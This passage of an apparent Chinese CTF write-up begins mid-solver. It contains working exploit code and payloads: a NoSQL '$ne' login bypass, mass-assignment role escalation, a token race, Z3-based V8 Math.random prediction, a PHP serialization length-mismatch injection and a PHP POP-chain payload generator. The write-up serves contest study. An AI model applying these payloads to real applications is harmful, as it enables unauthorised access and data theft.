12 ) solver.add(UGE(top, BitVecVal(lo, 64 ))) solver.add(ULT(top, BitVecVal(hi, 64 ))) def predict_next_v8_math_random (numbers ): if not numbers: raise RuntimeError("empty Math.random history" ) s0 = BitVec("s0" , 64 ) s1 = BitVec("s1" , 64 ) solver = Solver() solver.set (timeout=20000 ) solver.add(s0 != BitVecVal(0 , 64 ), s1 != BitVecVal(0 , 64 )) cur0, cur1 = s0, s1 add_observed_number(solver, cur0, numbers[0 ]) for number in numbers[1 :]: cur0, cur1 = step_z3(cur0, cur1) add_observed_number(solver, cur0, number) if solver.check() != sat: raise RuntimeError("failed to recover Math.random state" ) model = solver.model() a = model[s0].as_long() b = model[s1].as_long() for _ in numbers[1 :]: a, b = step_int(a, b) a, b = step_int(a, b) return random_number_from_state(a) def qian_login (client ): payload = { "username" : "qingyun" , "password" : {"$ne" : None }, "$set" : {"role" : "apprentice" }, } code, text = client.post("/qian/login" , payload) if code != 200 : raise RuntimeError(f"qian login failed: HTTP {code} {text} " ) def dui_escalate (client ): payload = { "title" : "掌门" , "bio" : "x" , "role" : "admin" , "isAdmin" : True , "isMaster" : True , "isLeader" : True , "admin" : True , "master" : True , "leader" : True , } code, text = client.post("/dui/update" , payload) if code != 200 : raise RuntimeError(f"dui update failed: HTTP {code} {text} " ) def race_grab (cookie_header, barrier ): req = urllib.request.Request( BASE + "/li/grab" , data=b"{}" , headers={ "Content-Type" : "application/json" , "Cookie" : cookie_header, }, method="POST" , ) barrier.wait() try : with urllib.request.urlopen(req, timeout=15 ) as resp: raw = resp.read().decode("utf-8" , errors="replace" ) return resp.status, parse_json(raw) except urllib.error.HTTPError as exc: raw = exc.read().decode("utf-8" , errors="replace" ) return exc.code, parse_json(raw) or {"raw" : raw} def li_grab_tokens (client ): cookie_header = client.cookie_header() barrier = threading.Barrier(PARALLEL_GRABS) tokens = [] with concurrent.futures.ThreadPoolExecutor(max_workers=PARALLEL_GRABS) as pool: futures = [ pool.submit(race_grab, cookie_header, barrier) for _ in range (PARALLEL_GRABS) ] for future in concurrent.futures.as_completed(futures): code, data = future.result() if code == 200 and "token" in data: tokens.append(data["token" ]) unique_tokens = list (dict .fromkeys(tokens)) if len (unique_tokens) < NEEDED_TOKENS: raise RuntimeError("race failed, not enough tokens" ) return unique_tokens[:NEEDED_TOKENS] def parse_zhen_page (html ): round_match = re.search(r'name="round" value="(\d+)"' , html) hist_match = re.search(r"const HISTORY = (\[.*?\]);" , html, re.S) if not round_match or not hist_match: raise RuntimeError("failed to parse zhen page" ) current_round = int (round_match.group(1 )) history = json.loads(hist_match.group(1 )) history = sorted (history, key=lambda item: item["round" ]) return current_round, history def zhen_predict (client, tokens, max_retry=5 ): for _ in range (max_retry): code, html = client.get("/zhen" ) if code != 200 : raise RuntimeError(f"zhen page failed: HTTP {code} {html} " ) current_round, history = parse_zhen_page(html) numbers = [item["number" ] for item in history] number = predict_next_v8_math_random(numbers) code, text = client.post( "/zhen/predict" , {"round" : current_round, "number" : number, "tokens" : tokens}, ) data = parse_json(text) if code == 200 and "flag" in data: return data["flag" ] if "只可预测第" in text or "current_round" in text: time.sleep(0.5 ) continue raise RuntimeError(f"zhen predict failed: HTTP {code} {text} " ) raise RuntimeError("round changed too often" ) def solve (): for _ in range (1 , 6 ): client = Client(BASE) qian_login(client) dui_escalate(client) try : tokens = li_grab_tokens(client) except RuntimeError: continue flag = zhen_predict(client, tokens) print (flag) return raise RuntimeError("failed after several retries" ) if __name__ == "__main__" : solve()
输出:
数字古墓 解题思路
虽然阶段一被 ban 了,但从源码可以直接进入这两关对应的 PHP 文件。
第一关:Rune Trial 页面如下:
源码关键逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 class nameA { public $x ; public $y ; public function __wakeup ( ) { if ($this ->y === 'admin123' ) { include ('relic_manifest.php' ); echo "成功!文件名: " . $filename ; } } } function p2 ($i ) { $key = "bnhpjowd" ; $search = '' ; for ($j = 0 ; $j < strlen ($key ); $j ++) { $search .= chr (ord ($key [$j ]) - 1 ); } $replace = 'iscc' ; return str_replace ($search , $replace , $i ); } $obj = new nameA ($input , $passwd );$ser = serialize ($obj );$result = p1 ($ser );unserialize ($result );
漏洞点:
rune_trial.php 是典型的 serialize -> str_replace -> unserialize 长度错位题。替换后字符串长度发生变化,可以把 p 参数中伪造的属性顶进对象里,从而拿到第二关目标文件名。
mechanism_chamber.php 是一条本地类 POP 链。虽然 allowed_classes 只允许题目里定义的类,但魔术方法之间仍然可以串到真实文件读取点,最后读出第一关给出的目标 txt。
也就是说,程序会把序列化字符串中的每个 amgoinvc 替换成 iscc。
这里有一个关键长度差:amgoinvc 长度是 8,iscc 长度是 4。每替换一次,实际字符串会缩短 4 个字节,但序列化字符串里原本声明的 s:...:"..."; 不会改,这样就会造成反序列化时的读指针错位。
利用思路:
让 x 中出现 4 次 amgoinvc,总共缩短 16 个字节。然后把伪造的属性片段塞进 p 参数里,让反序列化时从 x 的末尾越界继续读到:
1 ";s:1:"y";s:8:"admin123";}
这样 __wakeup() 看到的 $this->y 就会变成 admin123。
直接利用:
请求参数如下:
1 <目标地址>/rune_trial.php?d=amgoinvcamgoinvcamgoinvcamgoinvc&p=";s:1:"y";s:8:"admin123";}
访问后即可拿到文件名
成功!文件名: W3f82KD9.txt
第二关:Awakening Mechanism
关键类之间的关系如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 class RitualEngine { protected $settings ; public $target ; public $callback ; public function run ($file = null ) { $name = $file ?: $this ->target; if (!preg_match ('/^[A-Za-z0-9_-]+\.txt$/' , $name )) { return ; } $path = __DIR__ . DIRECTORY_SEPARATOR . $name ; $real = realpath ($path ); if ($real === false ) { return ; } if (strpos ($real , __DIR__ . DIRECTORY_SEPARATOR) !== 0 ) { return ; } if (@is_file ($real ) && @filesize ($real ) < 2048 ) { @highlight_file ($real ); } } public function __invoke ( ) { $action = @unserialize ($this ->callback); [$obj , $method ] = $action ; $map = ['view' => 'run' ]; $real = $map [$method ]; $obj ->$real (); } } class GateSentinel { public $object ; public $tool ; public function __toString ( ) { if (isset ($this ->tool['blade' ])) { $this ->tool['blade' ]->object ; } return "GateSentinel" ; } public function __wakeup ( ) { if (preg_match ("/..|flag|etc/i" , $this ->object )) { $this ->object = "index.html" ; } } } class Keystone { public $center ; public function __get ($name ) { $processor = $this ->center; if (is_callable ($processor )) { return $processor (); } return null ; } }
漏洞点:
看起来有很多限制:
1 2 3 allowed_classes 只允许题目里定义的类 GateSentinel::__wakeup()会过滤..、flag、etc RitualEngine::run()限制文件名必须匹配^[A-Za-z0-9_-]+.txt$
并且还做了 realpath 和目录前缀校验。
但真正的问题不在绕目录,而在于怎么走到 run()。
触发链:
可以构造这样一条链:
外层反序列化一个 GateSentinel,让它的 object 是另一个 GateSentinel 对象。
1 2 3 GateSentinel::__wakeup()里对对象执行preg_match()时,会触发这个内层对象的__toString() __toString()里访问$this->tool['blade']->object blade放一个Keystone对象,访问不存在属性object时触发Keystone::__get()
Keystone::$center 放一个 RitualEngine。
1 2 因为RitualEngine实现了__invoke(),所以在__get()里is_callable($ processor)为真,接着执行 $processor() RitualEngine::__invoke()会反序列化自己的callback,从中取出[$obj, "view"]
view 被映射成 run,最终调用内部另一个 RitualEngine->run(),读取第一关得到的 W3f82KD9.txt。
第一关已经告诉我们真实文件名就在当前目录下,所以第二关直接合法读取:
Exp 第二关 EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $targetFile = 'W3f82KD9.txt' ;$reader = new RitualEngine ();$reader ->target = $targetFile ;$reader ->callback = null ;$dispatcher = new RitualEngine ();$dispatcher ->target = null ;$dispatcher ->callback = serialize ([$reader , 'view' ]);$keystone = new Keystone ();$keystone ->center = $dispatcher ;$inner = new GateSentinel ();$inner ->object = 'start.html' ;$inner ->tool = ['blade' => $keystone ];$outer = new GateSentinel ();$outer ->object = $inner ;$outer ->tool = null ;$payload = serialize ($outer );echo "Raw payload:\n" ;echo $payload . "\n\n" ;echo "POST body:\n" ;echo "data=" . urlencode ($payload ) . "\n" ;
输出示例:
1 2 Raw payload: O:12:"GateSentinel":2:{s:6:"object";O:12:"GateSentinel":2:{s:6:"object";s:10:"start.html";s:4:"tool";a:1:{s:5:"blade";O:8:"Keystone":1:{s:6:"center";O:12:"RitualEngine":3:{s:11:"\0*\0settings";N;s:6:"target";N;s:8:"callback";s:120:"a:2:{i:0;O:12:"RitualEngine":3:{s:11:"\0*\0settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";N;}i:1;s:4:"view";}";}}}}s:4:"tool";N;}
POST body:
1 data=O%3A12%3A%22GateSentinel%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A12%3A%22GateSentinel%22%3A2%3A%7Bs%3A6%3A%22object%22%3Bs%3A10%3A%22start.html%22%3Bs%3A4%3A%22tool%22%3Ba%3A1%3A%7Bs%3A5%3A%22blade%22%3BO%3A8%3A%22Keystone%22%3A1%3A%7Bs%3A6%3A%22center%22%3BO%3A12%3A%22RitualEngine%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00settings%22%3BN%3Bs%3A6%3A%22target%22%3BN%3Bs%3A8%3A%22callback%22%3Bs%3A120%3A%22a%3A2%3A%7Bi%3A0%3BO%3A12%3A%22RitualEngine%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00settings%22%3BN%3Bs%3A6%3A%22target%22%3Bs%3A12%3A%22W3f82KD9.txt%22%3Bs%3A8%3A%22callback%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22view%22%3B%7D%22%3B%7D%7D%7D%7Ds%3A4%3A%22tool%22%3BN%3B%7D